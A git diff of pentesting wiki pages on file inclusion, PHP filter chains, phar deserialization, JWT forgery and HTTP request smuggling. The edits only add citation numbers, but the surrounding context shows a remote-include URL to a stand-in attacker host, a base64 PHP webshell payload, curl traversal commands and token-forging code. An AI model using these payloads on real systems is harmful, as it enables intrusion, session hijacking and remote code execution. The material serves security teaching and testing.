diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index 54789064d34..5d24a16a08e 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -90,7 +90,7 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ### HTML-to-PDF SVG/IMG path traversal -Modern HTML-to-PDF engines (e.g. **TCPDF** or wrappers such as **html2pdf**) happily parse attacker-provided HTML, SVG, CSS, and font URLs, yet they run inside trusted backend networks with filesystem access. Once you can inject HTML into `$pdf->writeHTML()`/`Html2Pdf::writeHTML()`, you can often exfiltrate local files that the web server account can read. +Modern HTML-to-PDF engines (e.g. **TCPDF** or wrappers such as **html2pdf**) happily parse attacker-provided HTML, SVG, CSS, and font URLs, yet they run inside trusted backend networks with filesystem access. Once you can inject HTML into `$pdf->writeHTML()`/`Html2Pdf::writeHTML()`, you can often exfiltrate local files that the web server account can read.[[10]](#references) - **Fingerprint the renderer**: every generated PDF contains a `Producer` field (e.g. `TCPDF 6.8.2`). Knowing the exact build tells you which path filters exist and whether URL decoding occurs before validation. - **Inline SVG payloads**: `TCPDF::startSVGElementHandler()` reads the `xlink:href` attribute from `` elements before running `urldecode()`. Embedding a malicious SVG inside a data URI makes many HTML sanitizers ignore the payload while TCPDF still parses it: @@ -192,7 +192,7 @@ http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` -If for some reason **`allow_url_include`** is **On**, but PHP is **filtering** access to external webpages, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), you could use for example the data protocol with base64 to decode a b64 PHP code and egt RCE: +If for some reason **`allow_url_include`** is **On**, but PHP is **filtering** access to external webpages, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), you could use for example the data protocol with base64 to decode a b64 PHP code and egt RCE:[[13]](#references) ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt @@ -200,7 +200,7 @@ PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKC ## Exposed `.git` Repository (Source Disclosure) -If the web server exposes `/.git/`, an attacker can often **reconstruct the full repository** (including commit history) and audit the application offline. This commonly reveals hidden endpoints, secrets, SQL queries, and admin-only functionality. +If the web server exposes `/.git/`, an attacker can often **reconstruct the full repository** (including commit history) and audit the application offline. This commonly reveals hidden endpoints, secrets, SQL queries, and admin-only functionality.[[12]](#references) Quick checks: @@ -258,7 +258,7 @@ It looks like if you have a Path Traversal in Java and you **ask for a directory ## Top 25 parameters -Here’s list of top 25 parameters that could be vulnerable to local file inclusion (LFI) vulnerabilities (from [link](https://twitter.com/trbughunters/status/1279768631845494787)): +Here’s list of top 25 parameters that could be vulnerable to local file inclusion (LFI) vulnerabilities (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):[[14]](#references) ``` ?cat={payload} @@ -354,7 +354,7 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the ### Using php filters as oracle to read arbitrary files -[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) is proposed a technique to read a local file without having the output given back from the server. This technique is based on a **boolean exfiltration of the file (char by char) using php filters** as oracle. This is because php filters can be used to make a text larger enough to make php throw an exception. +[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) is proposed a technique to read a local file without having the output given back from the server. This technique is based on a **boolean exfiltration of the file (char by char) using php filters** as oracle. This is because php filters can be used to make a text larger enough to make php throw an exception.[[15]](#references) In the original post you can find a detailed explanation of the technique, but here is a quick summary: @@ -468,7 +468,7 @@ phar-deserialization.md It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ Very quick summary: a **3 byte overflow** in the PHP heap was abused to **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, so a hook was added to call **`system`**.\ -It was possible to alloc chunks of specific sizes abusing more php filters. +It was possible to alloc chunks of specific sizes abusing more php filters.[[16]](#references) ### More protocols @@ -512,7 +512,7 @@ It's important to **URL-encode these payloads**. > [!WARNING] > This technique is relevant in cases where you **control** the **file path** of a **PHP function** that will **access a file** but you won't see the content of the file (like a simple call to **`file()`**) but the content is not shown. -In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**. +In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.[[15]](#references) As sumary, the technique is using the **"UCS-4LE" encoding** to make the content of a file so **big** that the **PHP function opening** the file will trigger an **error**. @@ -526,7 +526,7 @@ For the technical details check the mentioned post! ### Arbitrary File Write via Path Traversal (Webshell RCE) -When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell. +When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.[[3]](#references)[[4]](#references) Typical exploitation workflow: - Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.). @@ -604,7 +604,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin ### Read access logs to harvest GET-based auth tokens (token replay) -Many apps mistakenly accept session/auth tokens via GET (e.g., AuthenticationToken, token, sid). If you have a path traversal/LFI primitive into web server logs, you can steal those tokens from access logs and replay them to fully bypass authentication. +Many apps mistakenly accept session/auth tokens via GET (e.g., AuthenticationToken, token, sid). If you have a path traversal/LFI primitive into web server logs, you can steal those tokens from access logs and replay them to fully bypass authentication.[[9]](#references) How-to: - Use the traversal/LFI to read the web server access log. Common locations: @@ -709,7 +709,7 @@ The logs for the FTP server vsftpd are located at _**/var/log/vsftpd.log**_. In ### Via php base64 filter (using base64) -As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64. Here is an example payload: +As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64. Here is an example payload:[[13]](#references) ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php @@ -719,7 +719,7 @@ NOTE: the payload is "" ### Via php filters (no file needed) -This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file. +This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file.[[17]](#references) {{#ref}} @@ -764,7 +764,7 @@ lfi2rce-via-temp-file-uploads.md ### Via `pearcmd.php` + URL args -As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). +As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).[[5]](#references)[[6]](#references)[[7]](#references)[[18]](#references) The following request create a file in `/tmp/hello.php` with the content ``: @@ -820,7 +820,7 @@ _Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._ ### Preserve traversal sequences from the client -Some HTTP clients normalize or collapse `../` before the request reaches the server, breaking directory traversal payloads. Use `curl --path-as-is` to keep traversal untouched when abusing log/download endpoints that concatenate a user-controlled filename, and add `--ignore-content-length` for pseudo-files like `/proc`: +Some HTTP clients normalize or collapse `../` before the request reaches the server, breaking directory traversal payloads. Use `curl --path-as-is` to keep traversal untouched when abusing log/download endpoints that concatenate a user-controlled filename, and add `--ignore-content-length` for pseudo-files like `/proc`:[[11]](#references) ```bash curl --path-as-is -b "session=$SESSION" \ @@ -832,18 +832,24 @@ Tune the number of `../` segments until you escape the intended directory, then ## References -- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal) -- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders) -- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/) -- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf) -- [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) -- [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/) -- [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) -- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) -- [When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise](https://www.rcesecurity.com/2025/09/when-audits-fail-four-critical-pre-auth-vulnerabilities-in-trufusion-enterprise/) -- [Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?](https://swarm.ptsecurity.com/blind-trust-what-is-hidden-behind-the-process-of-creating-your-pdf-file/) -- [HTB: Imagery (admin log download traversal + `/proc/self/environ` read)](https://0xdf.gitlab.io/2026/01/24/htb-imagery.html) -- [HTB: Gavel](https://0xdf.gitlab.io/2026/03/14/htb-gavel.html) +- [1] [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal) +- [2] [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders) +- [3] [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/) +- [4] [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf) +- [5] [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) +- [6] [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/) +- [7] [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) +- [8] [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) +- [9] [When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise](https://www.rcesecurity.com/2025/09/when-audits-fail-four-critical-pre-auth-vulnerabilities-in-trufusion-enterprise/) +- [10] [Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?](https://swarm.ptsecurity.com/blind-trust-what-is-hidden-behind-the-process-of-creating-your-pdf-file/) +- [11] [HTB: Imagery (admin log download traversal + `/proc/self/environ` read)](https://0xdf.gitlab.io/2026/01/24/htb-imagery.html) +- [12] [HTB: Gavel](https://0xdf.gitlab.io/2026/03/14/htb-gavel.html) +- [13] [matan-h – One LFI bypass to rule them all using base64](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/) +- [14] [@trbughunters – Top 25 LFI parameters](https://twitter.com/trbughunters/status/1279768631845494787) +- [15] [Synacktiv – PHP filter chains: file read from error-based oracle](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) +- [16] [Ambionics – iconv, set the charset to RCE (CVE-2024-2961) part 1](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1) +- [17] [loknop – LFI2RCE via PHP filters (arbitrary content generation)](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) +- [18] [Docker PHP LFI Summary / pearcmd.php getshell](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp) {{#file}} EN-Local-File-Inclusion-1.pdf diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md index 72ffee97b0b..ec0da1b43bf 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md @@ -5,7 +5,7 @@ ## Intro -This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file. +This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file.[[3]](#references) Basically the goal of the script is to **generate a Base64** string at the **beginning** of the file that will be **finally decoded** providing the desired payload that will be **interpreted by `include`**. @@ -27,7 +27,7 @@ The loop to generate arbitrary content is: ## How to add also suffixes to the resulting data -[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) how you can still abuse PHP filters to add suffixes to the resulting string. This is great in case you need the output to have some specific format (like json or maybe adding some PNG magic bytes) +[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) how you can still abuse PHP filters to add suffixes to the resulting string. This is great in case you need the output to have some specific format (like json or maybe adding some PNG magic bytes)[[4]](#references) ## Automatic Tools @@ -264,18 +264,20 @@ function find_vals($init_val) { - Chain a memory bomb (e.g., a dozen `convert.iconv.UTF8.UCS-4LE` passes) with `dechunk` so the first leaked base64 digit controls the outcome: if it turns hexadecimal the payload collapses silently, otherwise PHP exhausts memory and throws an error, giving you a 1-bit oracle. - Query the oracle repeatedly while iconv shuffles (`convert.iconv.UTF16.UTF16BE`, `convert.iconv.UCS-4LE.UCS-4`, etc.) rotate arbitrary base64 digits to the front, letting you read files byte by byte even when nothing is echoed. -- Synacktiv's `php_filter_chains_oracle_exploit` automates the chain, keeps payloads GET-safe, and documents the PHP file primitives (file_get_contents, finfo, hash_file, getimagesize, ...) that you can abuse to pivot from LFI to credentials or staged RCE. +- Synacktiv's `php_filter_chains_oracle_exploit` automates the chain, keeps payloads GET-safe, and documents the PHP file primitives (file_get_contents, finfo, hash_file, getimagesize, ...) that you can abuse to pivot from LFI to credentials or staged RCE.[[1]](#references) ### Lightyear digit-set jumps & chunk pruning -- Lightyear builds alternative base64 digit sets via sequences like `convert.iconv.IBM1144.HP-ROMAN8|convert.iconv.IBM1122.IBM1026|convert.iconv.8859_1.IBM037`, turning a chosen digit into a newline; prepend one hexadecimal char, run `dechunk`, and you can jump over arbitrary chunks while keeping payloads URL-length compliant. +- Lightyear builds alternative base64 digit sets via sequences like `convert.iconv.IBM1144.HP-ROMAN8|convert.iconv.IBM1122.IBM1026|convert.iconv.8859_1.IBM037`, turning a chosen digit into a newline; prepend one hexadecimal char, run `dechunk`, and you can jump over arbitrary chunks while keeping payloads URL-length compliant.[[2]](#references) - Instead of swapping bytes repeatedly, Lightyear chains several jumps, tracks safe chunk sizes, and closes each leak with a six-query dichotomy tree that halves the candidate digit set, so large files can be dumped via GET parameters without triggering PHP warnings. - The release ships ready-to-run Python tooling: once you control `include()`, aim it at `/etc/passwd`, PHP session stores, or config files, dump them, then fall back to the base64-prepend method above to craft RCE payloads inside `php://temp` or other write-less sinks. ## References -- [Synacktiv – PHP filter chains: file read from error-based oracle](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle) -- [Lexfo – Introducing lightyear, a new way to dump PHP files](https://blog.lexfo.fr/lightyear-file-dump.html) +- [1] [Synacktiv – PHP filter chains: file read from error-based oracle](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle) +- [2] [Lexfo – Introducing lightyear, a new way to dump PHP files](https://blog.lexfo.fr/lightyear-file-dump.html) +- [3] [loknop – LFI2RCE via PHP filters (arbitrary content generation)](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) +- [4] [Ambionics – wrapwrap: adding suffixes to PHP filter chains](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-inclusion/phar-deserialization.md b/src/pentesting-web/file-inclusion/phar-deserialization.md index 6e27e1a3c81..d66f8f614ab 100644 --- a/src/pentesting-web/file-inclusion/phar-deserialization.md +++ b/src/pentesting-web/file-inclusion/phar-deserialization.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -**Phar** files (PHP Archive) files **contain meta data in serialized format**, so, when parsed, this **metadata** is **deserialized** and you can try to abuse a **deserialization** vulnerability inside the **PHP** code. +**Phar** files (PHP Archive) files **contain meta data in serialized format**, so, when parsed, this **metadata** is **deserialized** and you can try to abuse a **deserialization** vulnerability inside the **PHP** code.[[1]](#references) The best thing about this characteristic is that this deserialization will occur even using PHP functions that do not eval PHP code like **file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()**. @@ -65,11 +65,8 @@ And execute the `whoami` command abusing the vulnerable code with: php vuln.php ``` -### References +## References - -{{#ref}} -https://blog.ripstech.com/2018/new-php-exploitation-technique/ -{{#endref}} +- [1] [RIPS – New PHP Exploitation Technique (phar:// deserialization)](https://blog.ripstech.com/2018/new-php-exploitation-technique/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/hacking-jwt-json-web-tokens.md b/src/pentesting-web/hacking-jwt-json-web-tokens.md index 88e78236803..a83ddf693d8 100644 --- a/src/pentesting-web/hacking-jwt-json-web-tokens.md +++ b/src/pentesting-web/hacking-jwt-json-web-tokens.md @@ -7,7 +7,7 @@ ### **Quick Wins** -Run [**jwt_tool**](https://github.com/ticarpi/jwt_tool) with mode `All Tests!` and wait for green lines +Run [**jwt_tool**](https://github.com/ticarpi/jwt_tool) with mode `All Tests!` and wait for green lines[[3]](#references) ```bash python3 jwt_tool.py -M at \ @@ -36,7 +36,7 @@ You can also use the [**Burp Extension SignSaboteur**](https://github.com/d0ge/s - `[= ]eyJ[A-Za-z0-9_\\/+-]*\.[A-Za-z0-9._\\/+-]*` - **Decode and enumerate**: Use Burp **JWT Editor** or `python3 jwt_tool.py ` to read header/payload. Note `alg`, `exp`/token lifetime, and authn/authz-driving claims (`role`, `id`, `username`, `email`, etc.). - **Signature enforcement sanity check**: Flip or delete a few bytes in the signature portion and replay. Acceptance implies missing signature validation and you can directly tamper payload claims. -- **Goal**: Modify payload claims to escalate privileges; every attack below aims to get the server to accept a tampered payload by abusing weak verification, weak secrets, or unsafe key selection. +- **Goal**: Modify payload claims to escalate privileges; every attack below aims to get the server to accept a tampered payload by abusing weak verification, weak secrets, or unsafe key selection.[[4]](#references) ### Tamper data without modifying anything @@ -88,7 +88,7 @@ jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10] token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256") ``` -4. Drop the signed token into the session cookie (e.g., `n8n-auth`) to impersonate the user/admin account even if the password hash is salted. +4. Drop the signed token into the session cookie (e.g., `n8n-auth`) to impersonate the user/admin account even if the password hash is salted.[[1]](#references) ### Modify the algorithm to None @@ -98,7 +98,7 @@ Use the Burp extension call "JSON Web Token" to try this vulnerability and to ch ### JWE-wrapped PlainJWT / public-key auth bypass (pac4j-jwt CVE-2026-29000) -Some stacks expect a **signed inner JWT** wrapped inside an **encrypted JWE**. In vulnerable `pac4j-jwt` versions (before `4.5.9`, `5.7.9`, and `6.3.3`), the authenticator decrypts the JWE, tries to parse the payload as a signed JWT, and only verifies the signature if that conversion succeeds. If the decrypted payload is a **PlainJWT** (`alg=none`), `toSignedJWT()` returns `null` and the signature verification path is skipped. +Some stacks expect a **signed inner JWT** wrapped inside an **encrypted JWE**. In vulnerable `pac4j-jwt` versions (before `4.5.9`, `5.7.9`, and `6.3.3`), the authenticator decrypts the JWE, tries to parse the payload as a signed JWT, and only verifies the signature if that conversion succeeds. If the decrypted payload is a **PlainJWT** (`alg=none`), `toSignedJWT()` returns `null` and the signature verification path is skipped.[[5]](#references)[[6]](#references) - **Pre-reqs**: - The application accepts **JWE bearer tokens** @@ -161,7 +161,7 @@ Using Burp **JWT Editor**, import the RSA public key (from `/.well-known/jwks.js #### Passive triage for RS256→HS256 confusion in PAN-OS / GlobalProtect CAS (CVE-2026-0265) -A practical real-world pattern is a verifier that normally expects **RS256** tokens from an external identity service, but still honors attacker-controlled `alg=HS256` and treats the fetched **RSA public key bytes** as the HMAC secret. In that situation, anyone who can recover the public key can mint valid HS256 tokens. +A practical real-world pattern is a verifier that normally expects **RS256** tokens from an external identity service, but still honors attacker-controlled `alg=HS256` and treats the fetched **RSA public key bytes** as the HMAC secret. In that situation, anyone who can recover the public key can mint valid HS256 tokens.[[7]](#references)[[8]](#references) For **Palo Alto PAN-OS / GlobalProtect** with **Cloud Authentication Service (CAS)** attached to the authentication profile, the exposed GlobalProtect prelogin flow gives enough unauthenticated data to do a **safe passive triage** without forging a token. @@ -422,13 +422,13 @@ https://github.com/ticarpi/jwt_tool ## References -- [n8n token forge chain – config+DB leak to JWT signing secret](https://github.com/Chocapikk/CVE-2026-21858) -- [Burp Suite – JWT Editor extension](https://github.com/PortSwigger/jwt-editor) -- [jwt_tool attack methodology](https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology) -- [Keys to JWT Assessments – TrustedSec](https://trustedsec.com/blog/keys-to-jwt-assessments-from-a-cheat-sheet-to-a-deep-dive) -- [0xdf - HTB: Principal](https://0xdf.gitlab.io/2026/03/30/htb-principal.html) -- [CodeAnt AI - Inside CVE-2026-29000: The pac4j JWT Authentication Bypass Explained](https://www.codeant.ai/blogs/pac4j-vulnerability-cve-2026-29000) -- [Bishop Fox - Detecting CVE-2026-0265 at Scale: PAN-OS CAS Authentication Bypass](https://bishopfox.com/blog/detecting-cve-2026-0265-at-scale-pan-os-cas-authentication-bypass) -- [Palo Alto Networks Advisory - CVE-2026-0265 PAN-OS: Authentication Bypass with Cloud Authentication Service (CAS) enabled](https://security.paloaltonetworks.com/CVE-2026-0265) +- [1] [n8n token forge chain – config+DB leak to JWT signing secret](https://github.com/Chocapikk/CVE-2026-21858) +- [2] [Burp Suite – JWT Editor extension](https://github.com/PortSwigger/jwt-editor) +- [3] [jwt_tool attack methodology](https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology) +- [4] [Keys to JWT Assessments – TrustedSec](https://trustedsec.com/blog/keys-to-jwt-assessments-from-a-cheat-sheet-to-a-deep-dive) +- [5] [0xdf - HTB: Principal](https://0xdf.gitlab.io/2026/03/30/htb-principal.html) +- [6] [CodeAnt AI - Inside CVE-2026-29000: The pac4j JWT Authentication Bypass Explained](https://www.codeant.ai/blogs/pac4j-vulnerability-cve-2026-29000) +- [7] [Bishop Fox - Detecting CVE-2026-0265 at Scale: PAN-OS CAS Authentication Bypass](https://bishopfox.com/blog/detecting-cve-2026-0265-at-scale-pan-os-cas-authentication-bypass) +- [8] [Palo Alto Networks Advisory - CVE-2026-0265 PAN-OS: Authentication Bypass with Cloud Authentication Service (CAS) enabled](https://security.paloaltonetworks.com/CVE-2026-0265) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/http-connection-request-smuggling.md b/src/pentesting-web/http-connection-request-smuggling.md index c1d29068ea3..d4064ff52f4 100644 --- a/src/pentesting-web/http-connection-request-smuggling.md +++ b/src/pentesting-web/http-connection-request-smuggling.md @@ -20,7 +20,7 @@ GET /admin HTTP/1.1 Host: internal-only.example ``` -This turns connection reuse into an SSRF-like primitive against **internal virtual hosts**, admin panels, debug routes, and alternate tenants sharing the same edge. +This turns connection reuse into an SSRF-like primitive against **internal virtual hosts**, admin panels, debug routes, and alternate tenants sharing the same edge.[[1]](#references) ### First-request Routing @@ -47,7 +47,7 @@ Host: private.internal ## Browser-Powered Connection-State Abuse (2022-2025) -The most practical modern variant is **browser-powered** exploitation. A victim first opens a legitimate connection to an attacker-controlled or attacker-triggered origin, and the browser later **reuses or coalesces** that connection for a different authority. +The most practical modern variant is **browser-powered** exploitation. A victim first opens a legitimate connection to an attacker-controlled or attacker-triggered origin, and the browser later **reuses or coalesces** that connection for a different authority.[[1]](#references) ### Coalescing preconditions worth checking @@ -137,7 +137,7 @@ This is worth testing on reverse proxies that support upgrade-style tunnelling o ## References -- [PortSwigger Research - Browser-Powered Desync Attacks](https://portswigger.net/research/browser-powered-desync-attacks) -- [PortSwigger Research - HTTP/1.1 must die: the desync endgame](https://portswigger.net/research/http1-must-die) +- [1] [PortSwigger Research - Browser-Powered Desync Attacks](https://portswigger.net/research/browser-powered-desync-attacks) +- [2] [PortSwigger Research - HTTP/1.1 must die: the desync endgame](https://portswigger.net/research/http1-must-die) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/http-request-smuggling/README.md b/src/pentesting-web/http-request-smuggling/README.md index 33eaf6d5d5c..35377ab5bc1 100644 --- a/src/pentesting-web/http-request-smuggling/README.md +++ b/src/pentesting-web/http-request-smuggling/README.md @@ -40,7 +40,7 @@ Remember that in HTTP **a new line character is composed by 2 bytes:** The main proble with http/1.1 is that all the requests go in the same TCP socket, so if a discrpancy is found between 2 systems receiving requests it's possible to send one request that will be reated as 2 different requests (or more) by the final backend (or even intermediary systems). -**[This blog post](https://portswigger.net/research/http1-must-die)** proposes new ways to detect desync attacks to a system that won't be flagged by WAFs. For this it presents the Visible vs Hidden behaviours. The goal in this case is to try to find discrepancies in the repsonse using techniques that could be causing desyncs withuot actually exploiting anything. +**[This blog post](https://portswigger.net/research/http1-must-die)** proposes new ways to detect desync attacks to a system that won't be flagged by WAFs. For this it presents the Visible vs Hidden behaviours. The goal in this case is to try to find discrepancies in the repsonse using techniques that could be causing desyncs withuot actually exploiting anything.[[14]](#references) For example, sending a request with the normal host header and a " host" header, if the backend complains about this request (maybe becasue the value of " host" is incorrect) it possible means that the front-end didn't see about the " host" header while the final backend did use it, higly probale implaying a desync between front-end and backend. @@ -58,7 +58,7 @@ Note that this situation is not corrected in the AWS, but it can be prevented se > [!TIP] > When trying to exploit this with Burp Suite **disable `Update Content-Length` and `Normalize HTTP/1 line endings`** in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths. -HTTP request smuggling attacks are crafted by sending ambiguous requests that exploit discrepancies in how front-end and back-end servers interpret the `Content-Length` (CL) and `Transfer-Encoding` (TE) headers. These attacks can manifest in different forms, primarily as **CL.TE**, **TE.CL**, and **TE.TE**. Each type represents a unique combination of how the front-end and back-end servers prioritize these headers. The vulnerabilities arise from the servers processing the same request in different ways, leading to unexpected and potentially malicious outcomes. +HTTP request smuggling attacks are crafted by sending ambiguous requests that exploit discrepancies in how front-end and back-end servers interpret the `Content-Length` (CL) and `Transfer-Encoding` (TE) headers. These attacks can manifest in different forms, primarily as **CL.TE**, **TE.CL**, and **TE.TE**. Each type represents a unique combination of how the front-end and back-end servers prioritize these headers. The vulnerabilities arise from the servers processing the same request in different ways, leading to unexpected and potentially malicious outcomes.[[1]](#references) ### Basic Examples of Vulnerability Types @@ -180,7 +180,7 @@ HTTP request smuggling attacks are crafted by sending ambiguous requests that ex #### TE.0 Scenario - Like the previous one but using TE -- Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/) +- Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)[[9]](#references) - **Example**: ``` @@ -227,13 +227,13 @@ Host: This is useful to cause a desync, but it won't have any impact until now. -However, the post 